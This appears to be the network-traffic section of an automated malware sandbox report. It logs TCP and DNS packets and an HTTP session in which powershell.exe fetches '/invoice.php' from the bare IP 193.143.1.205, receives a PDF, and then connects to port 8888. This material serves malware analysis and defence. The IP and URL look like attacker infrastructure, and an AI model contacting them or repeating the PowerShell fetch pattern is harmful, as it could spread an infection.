Jan 11, 2025 01:53:19.092808008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.092852116 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.092853069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.092900038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.092947960 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.092961073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.093007088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.093048096 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.093051910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.093112946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.093158007 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.093161106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.093211889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.093254089 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.093257904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.093310118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.093350887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.093355894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.093400955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.093446970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.093451023 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.093492985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.093533039 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.093539000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.093640089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.093688965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.093693972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.119862080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.119879007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.119944096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.119982958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.119993925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.120007038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120045900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120079041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.120095015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120112896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120163918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.120176077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120217085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120234013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120263100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120305061 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.120342016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120374918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120407104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120436907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.120465994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.120501995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120546103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120569944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120606899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120631933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.120640993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120662928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120709896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120743036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120753050 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.120757103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120796919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120825052 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.120841026 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.120863914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120899916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120932102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120949030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.120995998 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.120996952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121072054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121140003 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.121149063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121233940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121272087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121289015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121305943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121364117 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.121370077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121390104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121423006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121440887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121454000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121470928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121505976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121515036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.121567965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121571064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.121629000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121644020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121659994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121678114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121711016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121731043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121767998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121782064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.121804953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121822119 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121851921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121891022 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.121913910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121932983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121948957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.121965885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.122000933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.122051954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.122056961 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.122066021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.122103930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.122195005 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.127429008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.127506971 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.127521038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.127573013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.127599955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.127626896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.127659082 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.127681971 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.127728939 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.127732038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.127789021 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.127813101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.127849102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.127893925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.127902985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.127942085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.127988100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.127995968 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.128035069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.128082037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.128082991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.128144979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.128190041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.128190994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.128254890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.128273010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.128308058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.128325939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.128344059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.128360033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.128398895 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.128398895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.128482103 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.342864037 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.347971916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348031044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348059893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348081112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348092079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348105907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348125935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348129988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.348136902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348144054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348149061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348176003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348186016 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.348186016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348210096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348212004 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.348225117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348237991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348261118 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.348264933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348277092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348294973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348297119 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.348314047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348324060 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.348325014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348330975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348345995 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.348356962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348371029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348382950 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.348387957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348400116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348417044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348419905 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.348429918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348443031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.348455906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348467112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348468065 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.348488092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348500013 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.348501921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348517895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348531961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348541975 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.348546028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348565102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348575115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348579884 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.348598003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348606110 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.348613024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348628998 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.348632097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348645926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348658085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348661900 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.348679066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348691940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348704100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348712921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.348726034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.348726034 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.348761082 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.399899960 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.500061989 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.994395018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:20.641591072 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:20.646518946 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:20.646620035 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:20.646820068 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:20.651669025 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:21.473433018 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:21.524825096 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:21.785641909 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:33.365396023 CET	53943	53	192.168.2.6	1.1.1.1
Jan 11, 2025 01:53:33.371984005 CET	53	53943	1.1.1.1	192.168.2.6
Jan 11, 2025 01:53:33.372051001 CET	53943	53	192.168.2.6	1.1.1.1
Jan 11, 2025 01:53:33.378407001 CET	53	53943	1.1.1.1	192.168.2.6
Jan 11, 2025 01:53:33.815598965 CET	53943	53	192.168.2.6	1.1.1.1
Jan 11, 2025 01:53:33.820458889 CET	53	53943	1.1.1.1	192.168.2.6
Jan 11, 2025 01:53:33.820530891 CET	53943	53	192.168.2.6	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:53:33.364994049 CET	53	62062	1.1.1.1	192.168.2.6
Jan 11, 2025 01:53:33.611582994 CET	57240	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 01:53:33.611582994 CET	192.168.2.6	1.1.1.1	0x5738	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 01:53:33.618494034 CET	1.1.1.1	192.168.2.6	0x5738	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	193.143.1.205	80	2404	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:53:17.712080956 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 01:53:18.475224018 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:53:18 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 01:53:18.475253105 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 01:53:18.475277901 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 01:53:18.475334883 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 01:53:18.475342989 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 01:53:18.475356102 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 01:53:18.475366116 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 01:53:18.475377083 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 01:53:18.475395918 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
